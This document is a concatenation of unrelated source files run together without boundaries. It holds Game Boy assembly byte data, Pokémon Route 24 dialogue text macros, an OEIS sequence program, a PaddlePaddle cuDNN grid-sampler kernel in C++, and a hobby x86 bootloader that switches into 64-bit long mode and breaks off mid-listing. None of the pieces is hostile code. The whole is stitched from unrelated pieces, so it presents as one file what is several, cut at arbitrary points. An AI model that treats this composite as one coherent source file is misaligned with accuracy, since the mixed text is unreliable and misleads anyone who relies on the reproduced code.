#f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #00,#00,#00,#f0,#f0,#00,#00,#00 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #00,#00,#00,#00,#00,#00,#00,#00 db #40,#40,#40,#40,#40,#40,#40,#40 db #60,#60,#60,#60,#60,#60,#60,#f0 db #60,#60,#60,#60,#60,#60,#60,#60 db #60,#60,#60,#60,#60,#60,#60,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#fa db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#60,#60,#60,#60,#60 db #a0,#a0,#a0,#fa,#f6,#60,#00,#00 db #f0,#f0,#f0,#60,#60,#60,#60,#60 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#ba,#b0 db #00,#00,#00,#00,#00,#a0,#a0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#ba db #00,#00,#00,#00,#00,#00,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#ba db #00,#00,#00,#00,#00,#a0,#a0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#ba,#b0 db #a0,#a0,#a0,#a0,#a0,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #b0,#b0,#b0,#b0,#ba,#ba,#a0,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#ba,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#00,#00,#00,#00,#00,#00,#00 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#00,#00,#00,#00,#00,#00 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#ba,#ba,#ba,#ba,#ba,#ba,#ba db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #ba,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#ba db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#ba,#a0 db #b0,#b0,#b0,#b0,#ba,#ba,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#00,#00,#00,#00,#00,#00,#00 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #b0,#b0,#b0,#b0,#b0,#b0,#00,#00 db #00,#00,#b0,#b0,#b0,#b0,#00,#00 db #00,#00,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #80,#80,#80,#80,#80,#80,#80,#80 db #80,#80,#80,#80,#80,#80,#80,#80 db #40,#40,#40,#40,#40,#40,#40,#40 db #40,#40,#40,#40,#40,#40,#40,#40 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f0,#f0,#f0 db #f0,#f0,#f0,#f0,#f0,#f4,#f4,#f5 db #40,#40,#40,#40,#40,#40,#40,#50 db #f5,#50,#40,#60,#60,#60,#60,#60 db #50,#50,#60,#60,#60,#60,#60,#60 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #b0,#b0,#b0,#b0,#b0,#b0,#b0,#b0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #a0,#a0,#a0,#a0,#a0,#a0,#a0,#a0 db #60,#60,#60,#60,#60,#60,#60,#60 db #e0,#e0,#e0,#e0,#e0,#e0,#e0,#f0 db #60,#60,#e0,#e0,#e0,#e0,#e0,#e0 db #f0,#f0,#e0,#e0,#e0,#60,#e0,#e0 db #e0,#e0,#e0,#e0,#e0,#e0,#e0,#e0 db #e0,#60,#60,#60,#60,#60,#60,#60 db #e0,#60,#60,#60,#60,#e0,#e0,#e0 db #60,#60,#60,#e0,#e0,#e0,#e0,#e0 db #40,#40,#40,#40,#40,#40,#40,#40 db #70,#70,#70,#70,#70,#70,#70,#f0 db #40,#40,#70,#70,#70,#70,#70,#70 db #f0,#f0,#70,#70,#70,#40,#70,#70 db #70,#70,#70,#70,#70,#70,#70,#70 db #70,#40,#40,#40,#40,#40,#40,#40 db #70,#40,#40,#40,#40,#70,#70,#70 db #40,#40,#40,#70,#70,#70,#70,#70 db #00,#00,#00,#00,#00,#00,#00,#00 db #40,#40,#40,#40,#40,#40,#40,#40 endpatternattributes:
_Route24Text_51510:: text "Congratulations!" line "You beat our 5" cont "contest trainers!@@" _Route24Text_51515:: text "" para "You just earned a" line "fabulous prize!" prompt _Route24Text_5151a:: text "<PLAYER> received" line "a @" TX_RAM wcf4b text "!@@" _Route24Text_51521:: text "You don't have" line "any room!" done _Route24Text_51526:: text "By the way, would" line "you like to join" cont "TEAM ROCKET?" para "We're a group" line "dedicated to evil" cont "using #MON!" para "Want to join?" para "Are you sure?" para "Come on, join us!" para "I'm telling you" line "to join!" para "OK, you need" line "convincing!" para "I'll make you an" line "offer you can't" cont "refuse!" done _Route24Text_5152b:: text "Arrgh!" line "You are good!" prompt _Route24Text_51530:: text "With your ability," line "you could become" cont "a top leader in" cont "TEAM ROCKET!" done _Route24BattleText1:: text "I saw your feat" line "from the grass!" done _Route24EndBattleText1:: text "I" line "thought not!" prompt _Route24AfterBattleText1:: text "I hid because the" line "people on the" cont "bridge scared me!" done _Route24BattleText2:: text "OK! I'm No. 5!" line "I'll stomp you!" done _Route24EndBattleText2:: text "Whoa!" line "Too much!" prompt _Route24AfterBattleText2:: text "I did my best, I" line "have no regrets!" done _Route24BattleText3:: text "I'm No. 4!" line "Getting tired?" done _Route24EndBattleText3:: text "I lost" line "too!" prompt _Route24AfterBattleText3:: text "I did my best, so" line "I've no regrets!" done _Route24BattleText4:: text "Here's No. 3!" line "I won't be easy!" done _Route24EndBattleText4:: text "Ow!" line "Stomped flat!" prompt _Route24AfterBattleText4:: text "I did my best, I" line "have no regrets!" done _Route24BattleText5:: text "I'm second!" line "Now it's serious!" done _Route24EndBattleText5:: text "How could I" line "lose?" prompt _Route24AfterBattleText5:: text "I did my best, I" line "have no regrets!" done _Route24BattleText6:: text "This is NUGGET" line "BRIDGE! Beat us 5" cont "trainers and win" cont "a fabulous prize!" para "Think you got" line "what it takes?" done _Route24EndBattleText6:: text "Whoo!" line "Good stuff!" prompt _Route24AfterBattleText6:: text "I did my best, I" line "have no regrets!" done _Route24DamianText1:: text "I'm not good at" line "raising #MON." para "I should release" line "my CHARMANDER" cont "because I haven't" cont "raised it well..." para "If you promise me" line "you'll care for" cont "it, it's yours." done _Route24DamianText2:: text "Take good care of" line "my CHARMANDER!@@" _Route24DamianText3:: text "Oh... I'd better" line "release it then." done _Route24DamianText4:: text "How's CHARMANDER" line "doing?" done
; A017551: a(n) = (12*n + 2)^7. ; 128,105413504,8031810176,114415582592,781250000000,3521614606208,12151280273024,34792782221696,86812553324672,194871710000000,402271083010688,775771085481344,1414067010444416,2458100350228352 mul $0,12 add $0,2 pow $0,7
/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef PADDLE_WITH_HIP // HIP not support cudnnSpatialTfGridGeneratorForward #include "paddle/fluid/framework/op_registry.h" #include "paddle/fluid/platform/device/gpu/gpu_dnn.h" namespace paddle { namespace framework { class Tensor; } // namespace framework } // namespace paddle namespace paddle { namespace operators { using framework::Tensor; using ScopedTensorDescriptor = platform::ScopedTensorDescriptor; using DataLayout = platform::DataLayout; using ScopedSpatialTransformerDescriptor = platform::ScopedSpatialTransformerDescriptor; template <typename T> using CudnnDataType = platform::CudnnDataType<T>; template <typename T> class CUDNNGridSampleOpKernel : public framework::OpKernel<T> { public: void Compute(const framework::ExecutionContext& ctx) const override { PADDLE_ENFORCE_EQ(platform::is_gpu_place(ctx.GetPlace()), true, platform::errors::InvalidArgument( "It must use CUDAPlace when using CUDA Kernel")); auto& dev_ctx = ctx.template device_context<platform::CUDADeviceContext>(); auto handle = dev_ctx.cudnn_handle(); auto* input = ctx.Input<Tensor>("X"); auto* grid = ctx.Input<Tensor>("Grid"); auto* output = ctx.Output<Tensor>("Output"); int n = input->dims()[0]; int c = input->dims()[1]; int out_h = grid->dims()[1]; int out_w = grid->dims()[2]; const int size[4] = {n, c, out_h, out_w}; const T* input_data = input->data<T>(); const T* grid_data = grid->data<T>(); T* output_data = output->mutable_data<T>({n, c, out_h, out_w}, ctx.GetPlace()); ScopedSpatialTransformerDescriptor st_desc; cudnnSpatialTransformerDescriptor_t cudnn_st_desc = st_desc.descriptor<T>(4, size); ScopedTensorDescriptor input_desc; ScopedTensorDescriptor output_desc; cudnnTensorDescriptor_t cudnn_input_desc = input_desc.descriptor<T>( DataLayout::kNCHW, framework::vectorize<int>(input->dims())); cudnnTensorDescriptor_t cudnn_output_desc = output_desc.descriptor<T>( DataLayout::kNCHW, framework::vectorize<int>(output->dims())); PADDLE_ENFORCE_GPU_SUCCESS(platform::dynload::cudnnSpatialTfSamplerForward( handle, cudnn_st_desc, CudnnDataType<T>::kOne(), cudnn_input_desc, input_data, grid_data, CudnnDataType<T>::kZero(), cudnn_output_desc, output_data)); } }; template <typename T> class CUDNNGridSampleGradOpKernel : public framework::OpKernel<T> { public: void Compute(const framework::ExecutionContext& ctx) const override { PADDLE_ENFORCE_EQ(platform::is_gpu_place(ctx.GetPlace()), true, platform::errors::InvalidArgument( "It must use CUDAPlace when using CUDA Kernel")); auto& dev_ctx = ctx.template device_context<platform::CUDADeviceContext>(); auto handle = dev_ctx.cudnn_handle(); auto* input = ctx.Input<Tensor>("X"); auto* grid = ctx.Input<Tensor>("Grid"); auto* output_grad = ctx.Input<Tensor>(framework::GradVarName("Output")); auto* input_grad = ctx.Output<Tensor>(framework::GradVarName("X")); auto* grid_grad = ctx.Output<Tensor>(framework::GradVarName("Grid")); auto output_grad_dims = output_grad->dims(); const int n = output_grad_dims[0]; const int c = output_grad_dims[1]; const int h = output_grad_dims[2]; const int w = output_grad_dims[3]; const int size[4] = {n, c, h, w}; ScopedSpatialTransformerDescriptor st_dest; cudnnSpatialTransformerDescriptor_t cudnn_st_dest = st_dest.descriptor<T>(4, size); const T* input_data = input->data<T>(); const T* grid_data = grid->data<T>(); const T* output_grad_data = output_grad->data<T>(); T* input_grad_data = input_grad->mutable_data<T>(input->dims(), ctx.GetPlace()); T* grid_grad_data = grid_grad->mutable_data<T>({n, h, w, 2}, ctx.GetPlace()); ScopedTensorDescriptor input_desc; ScopedTensorDescriptor input_grad_desc; ScopedTensorDescriptor output_grad_desc; cudnnTensorDescriptor_t cudnn_input_desc = input_desc.descriptor<T>( DataLayout::kNCHW, framework::vectorize<int>(input->dims())); cudnnTensorDescriptor_t cudnn_input_grad_desc = input_grad_desc.descriptor<T>( DataLayout::kNCHW, framework::vectorize<int>(input_grad->dims())); cudnnTensorDescriptor_t cudnn_output_grad_desc = output_grad_desc.descriptor<T>( DataLayout::kNCHW, framework::vectorize<int>(output_grad->dims())); PADDLE_ENFORCE_GPU_SUCCESS(platform::dynload::cudnnSpatialTfSamplerBackward( handle, cudnn_st_dest, CudnnDataType<T>::kOne(), cudnn_input_desc, input_data, CudnnDataType<T>::kZero(), cudnn_input_grad_desc, input_grad_data, CudnnDataType<T>::kOne(), cudnn_output_grad_desc, output_grad_data, grid_data, CudnnDataType<T>::kZero(), grid_grad_data)); } }; } // namespace operators } // namespace paddle namespace plat = paddle::platform; REGISTER_OP_KERNEL(grid_sampler, CUDNN, plat::CUDAPlace, paddle::operators::CUDNNGridSampleOpKernel<float>, paddle::operators::CUDNNGridSampleOpKernel<double>); REGISTER_OP_KERNEL(grid_sampler_grad, CUDNN, plat::CUDAPlace, paddle::operators::CUDNNGridSampleGradOpKernel<float>, paddle::operators::CUDNNGridSampleGradOpKernel<double>); #endif // PADDLE_WITH_HIP
; --------------------------------------------------------------- ; ------- Copyright 2015 Daniel Valencia, All Rights Reserved. -- ; ------- -- ; ------- Start.asm -- ; ------- -- ; ------- Loads managers and prepares the environment -- ; ------- for them to run. Provides services to log -- ; ------- to screen and to switch between processor -- ; ------- operating modes. -- ; --------------------------------------------------------------- [BITS 16] [ORG 6000h] jmp Start %include "Text_Mode.asm" %include "Elf_64.asm" %include "Memory.asm" [BITS 16] ; --------------------------------------------------------- ; ------- Start: -- ; ------- -- ; ------- Entry Point. -- ; --------------------------------------------------------- Start: pop dword [fnStart] pop dword [fnGetFile] mov sp, 0ffffh call Clear_Memory mov esi, Elfo mov bx, EL_ADDRESS / 10h call [fnGetFile] mov [ElfoSize], cx mov esi, Memo mov bx, MM_ADDRESS / 10h call [fnGetFile] mov [MemoSize], cx call Init_Video call Get_Memory_Map ; call VESA_Init ; call PCI_Init ; Mark the first 16 bits of the memory bitmap as taken. mov word [OriginalMemoryBitmap], 0xffff jmp Start_PM hlt ; ---------------------------------------------------------- ; ------- Clear_Memory: -- ; ------- -- ; ------- Clears memory between 10000h and 80000h, -- ; ------- which corresponds to 1000:0000 thru 8000:0000. -- ; ---------------------------------------------------------- Clear_Memory: mov eax, 1000h mov ebx, eax xor esi, esi mov edx, 0f000h Clear_Memory.Loop: mov ecx, ebx mov es, ax xor edi, edi xchg eax, esi rep stosb mov ax, es add ax, bx cmp ax, dx jb Clear_Memory.Loop ret ;; --------------------------------------------------------- ;; ------- Gfx_Mode -- ;; --------------------------------------------------------- ; ;Gfx_Mode: ; ; ; ; D0-D8 = Mode Number. D8 indicates whether this ; ; is a VESA-defined VBE Mode. ; ; ; ; D9-D12 = Reserved MBZ. ; ; ; ; D11 = Refresh rate control selet. ????? ; ; ; ; D12-D13 = Reserved MBZ. ; ; ; ; D14 = Linear/flat frame buffer select. ; ; ; ; D15 = Preserve display memory. ; ; ; mov edx, 11bh ; ; ; ; ret ; --------------------------------------------------------- ; ------- VESA_Init: -- ; --------------------------------------------------------- VESA_Init: call VESA_Init.FindPmInfoBlock call VESA_Init.GetVbeControllerInfo ret VESA_Init.FindPmInfoBlock: ; Scan the region 0000-8000 looking for ; the VESA protected mode info block. mov ebx, 4 ; Amount of bytes to compare at once. ; Put "PMID" in little endian into eax. mov eax, 4449h shl eax, 16 or eax, 4d50h mov edx, 8000h ; Start by looking at 32-bit aligned addresses for speed. xor esi, esi VESA_Init.Loop: cmp dword [esi], eax je VESA_Init.PM_Info_Block_Found add esi, ebx cmp esi, edx jl VESA_Init.Loop ; Inner loop. inc edx mov esi, edx and esi, 0003h ; Keep trying misaligned addresses. jnz VESA_Init.Loop ; Outer loop. VESA_Init.PM_Info_Block_Not_Found: mov esi, msgVesaPmibNotFound call Print_16 call crlf16 ret VESA_Init.PM_Info_Block_Found: mov dword [PMInfoBlock], esi mov esi, msgFoundVesaPmib call Print_16 mov eax, dword [PMInfoBlock] call Print_DWORD_16 call crlf16 ret VESA_Init.GetVbeControllerInfo: mov ax, 4f00h push cs pop es lea edi, [VbeInfoBlock] int 10h mov word [GetVbeControllerInfoResult], ax ret ; --------------------------------------------------------- ; ------- PCI_Init: -- ; --------------------------------------------------------- PCI_Init: mov dx, 0cf8h in eax, dx mov dword [PCI_Config_Address], eax mov dx, 0cfch in eax, dx mov dword [PCI_Config_Data], eax ret ; --------------------------------------------------------- ; ------- Get_Memory_Map: -- ; --------------------------------------------------------- Get_Memory_Map: lea esi, [msgGettingMemoryMap] call Print_16 xor ebx, ebx ; Start at offset: 0 mov es, bx ; Destination: mov edi, MMAP_ADDRESS ; MMAP_ADDRESS (flat) Get_Memory_Map.Loop: mov eax, 0e820h ; Service mov edx, 534d4150h ; Function: 'SMAP' mov ecx, 20 ; Dest. buffer size int 15h add edi, 20 inc byte [RAM_Table_Entries] ; +1 entries cmp bx, 0 ; Check if done... jne Get_Memory_Map.Loop call crlf16 ret ;; --------------------------------------------------------- ;; ------- Show_VESA_Info: -- ;; --------------------------------------------------------- ; ;Show_VESA_Info: ; call Show_VESA_Info_Block ; call Show_VESA_VBE_Controller_Info ; ret ; ;Show_VESA_Info_Block: ; call crlf16 ; ; lea esi, [PMInfoBlock] ; test esi, esi ; jz Show_VESA_Info_Block.NoInfoBlock ; ; mov eax, esi ; lea esi, [msgFoundVesaPmib] ; call Show_DWORD ; ; mov ebp, [PMInfoBlock] ; ; mov ax, word [ebp + PMInfoBlock.Signature] ; mov esi, msgPMInfoBlockSignature ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.EntryPoint] ; mov esi, msgPMInfoBlockEntryPoint ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.PMInitialize] ; mov esi, msgPMInfoBlockPMInitialize ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.BiosDataSel] ; mov esi, msgPMInfoBlockBiosDataSel ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.A0000Sel] ; mov esi, msgPMInfoBlockA0000Sel ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.B0000Sel] ; mov esi, msgPMInfoBlockB0000Sel ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.B8000Sel] ; mov esi, msgPMInfoBlockB8000Sel ; call Show_WORD ; ; mov ax, word [ebp + PMInfoBlock.CodeSegSel] ; mov esi, msgPMInfoBlockCodeSegSel ; call Show_WORD ; ; mov al, byte [ebp + PMInfoBlock.InProtectMode] ; mov esi, msgPMInfoBlockInProtectMode ; call Show_BYTE ; ; mov al, byte [ebp + PMInfoBlock.Checksum] ; mov esi, msgPMInfoBlockChecksum ; call Show_BYTE ; ; ret ; ;Show_VESA_Info_Block.NoInfoBlock: ; lea esi, [msgVesaPmibNotFound] ; call puts ; ret ; ; ;Show_VESA_VBE_Controller_Info: ; call crlf16 ; lea esi, [msgGetVbeControllerInfoResult] ; mov ax, [GetVbeControllerInfoResult] ; call Show_WORD ; ; mov esi, [msgVbeInfoBlock] ; call puts ; ; lea esi, [msgVbeInfoBlockVbeSignature] ; mov eax, VbeInfoBlock.VbeSignature ; mov ecx, 4 ; call Show_String_N ; ; lea esi, [msgVbeInfoBlockVbeVersion] ; mov ax, [VbeInfoBlock.VbeVersion] ; call Show_WORD ; ; lea esi, [msgVbeInfoBlockOemStringPtr] ; mov eax, [VbeInfoBlock.OemStringPtr] ; call FlattenVbeFarPtr ; call Show_String ; ; lea esi, [msgVbeInfoBlockCapabilities] ; mov al, [VbeInfoBlock.Capabilities] ; call Show_BYTE ; ; lea esi, [msgVbeInfoBlockVideoModePtr] ; mov eax, [VbeInfoBlock.VideoModePtr] ; call Show_DWORD ; ; lea esi, [msgVbeInfoBlockTotalMemory] ; mov ax, [VbeInfoBlock.TotalMemory] ; call Show_WORD ; ; lea esi, [msgVbeInfoBlockOemSoftwareRev] ; mov ax, [VbeInfoBlock.OemSoftwareRev] ; call Show_WORD ; ; lea esi, [msgVbeInfoBlockOemVendorNamePtr] ; mov eax, [VbeInfoBlock.OemVendorNamePtr] ; call FlattenVbeFarPtr ; call Show_String ; ; lea esi, [msgVbeInfoBlockOemProductNamePtr] ; mov eax, [VbeInfoBlock.OemProductNamePtr] ; call FlattenVbeFarPtr ; call Show_String ; ; lea esi, [msgVbeInfoBlockOemProductRevPtr] ; mov eax, [VbeInfoBlock.OemProductRevPtr] ; call FlattenVbeFarPtr ; call Show_String ; ;Show_VESA_VBE_Controller_Info.ShowModes: ; call crlf16 ; mov esi, VbeInfoBlock ; mov ecx, 80h ; call Dump ; mov eax, [VbeInfoBlock.VideoModePtr] ; call FlattenVbeFarPtr ; mov esi, eax ; mov ecx, 80h ; call Dump ; ret ; ;Show_VESA_VBE_Controller_Info.ShowModes.Loop: ; lodsw ; cmp ax, 0ffffh ; je Show_VESA_VBE_Controller_Info.ShowModes.end ; call Print_WORD ; call space ; loop Show_VESA_VBE_Controller_Info.ShowModes.Loop ; ;Show_VESA_VBE_Controller_Info.ShowModes.end: ; call crlf16 ; ret ; ;FlattenVbeFarPtr: ; push ebx ; mov ebx, eax ; movzx eax, ax ; shr ebx, 16 ; shl ebx, 4 ; add eax, ebx ; pop ebx ; ret ; ; ;; --------------------------------------------------------- ;; ------- Show_PCI_Info: -- ;; --------------------------------------------------------- ; ;Show_PCI_Info: ; mov esi, msgPciConfigAddress ; mov eax, [PCI_Config_Address] ; call Show_DWORD ; ; mov esi, msgPciConfigData ; mov eax, [PCI_Config_Data] ; call Show_DWORD ; ret ; ; ;; --------------------------------------------------------- ;; ------- Show_Apic_Info: -- ;; --------------------------------------------------------- ; ;Show_Apic_Info: ; call crlf16 ; ; mov esi, msgApicId ; call Print_16 ; mov eax, dword [APIC_ID] ; call Print_DWORD ; call crlf16 ; mov esi, msgApicVersion ; call Print_16 ; mov eax, dword [APIC_VERSION] ; call Print_DWORD ; call crlf16 ; ret ; ; ;; --------------------------------------------------------- ;; ------- Set_Interrupt_Table: -- ;; --------------------------------------------------------- ; ; ;Set_Interrupt_Table: ; ; ; ; ; ; ; ; ; ; --------------------------------------------------------- ; ------- Start_PM: -- ; ------- Puts CPU in the 32-bit Protected Mode. -- ; --------------------------------------------------------- Start_PM: cli lgdt [GDTR] ; 31 - Paging: Disabled. ; 30 - Cache Disable: Disabled. ; 29 - Not-Write-Through: Disabled. ; 18 - Alignment Mask: Disabled. ; 16 - Write Protect: Disabled. ; 5 - Numeric Error: Disabled. ; 4 - Extension Type: Disabled. ; 3 - Task Switched: Disabled. ; 2 - Emulation: Disabled. ; 1 - Monitor Co-processor: Disabled. ; 0 - Protected Mode Enable: Enabled. ; mov eax, 60000009h ; Enable PM, Disable Caches ; mov cr0, eax mov eax, cr0 or al, 1 mov cr0, eax jmp PM_CODE_SEGMENT:PM_Start ; --------------------------------------------------------- ; ------- PM_Start: -- ; ------- Routine to start right after switching into -- ; ------- 32-bit Protected Mode. Its duty: to set up -- ; ------- and start the AMD 64-bit Long Mode. -- ; --------------------------------------------------------- align 16, db 0 [BITS 32] PM_Start: mov ax, DATA_SEGMENT mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov ebx, 0b809ch mov dword [ebx], 017321733h xor eax, eax mov edi, 0100000h mov ecx, 40000h ; 100000h / 4 rep stosd ; ; Enable the 64-bit page translation table entries ; mov eax, cr4 bts eax, 5 mov cr4, eax ; ; Initialise the Page Tables ; mov edi, INITIAL_PML4 mov cr3, edi ; Store PML4's address in CR3 mov edi, INITIAL_PD mov eax, INITIAL_PDE call Create_Page_Table mov edi, INITIAL_PDPT mov eax, INITIAL_PDPTE call Create_Page_Table mov edi, INITIAL_PML4 mov eax, INITIAL_PML4E call Create_Page_Table ; ; Enable Long Mode mov ecx, 0c0000080h rdmsr bts eax, 8 wrmsr ; ; Enable Paging so Long Mode kicks in ; mov eax, cr0 bts eax, 31 mov cr0, eax ; ; Jump far to LM_Start ; db 0eah dd Long_Mode_Start dw LM_CODE_SEGMENT Create_Page_Table: push edi stosd ; Put physical page number in EAX pop eax shr eax, 12 bts dword [OriginalMemoryBitmap], eax xor eax, eax mov ecx, 0fdh rep stosd ret align 16, db 0 [BITS 64] Long_Mode_Start: mov rsp, 10000h ; ; Color the screen. ; mov rdi, 0b8001h mov al, 2ah mov rcx, 2000 Color_The_Screen_Loop: stosb inc rdi loop Color_The_Screen_Loop mov rbx, 0b809ch mov rax, 2a342a36h mov dword [rbx], eax ; ; Initialize the TSS IO Map. ; movzx rdi, word [TSS_IO_Map_Address] mov rcx, 25 xor eax, eax rep stosd ; ; Load Task Register (TR). ; mov ax, TS_SEGMENT ltr ax ; ; Print the "Starting" message. ; mov rsi, msgStarting call Print call New_Line ; ; Export the publics. ; mov rdi, [Publics] mov rax, OriginalMemoryBitmap ; #0 stosq mov rax, kprint ; #1 stosq mov rax, kputchar ; #2 stosq mov rax, knewline ; #3 stosq mov rax, ksetcursor ; #4 stosq mov rax, kgetcursor ; #5 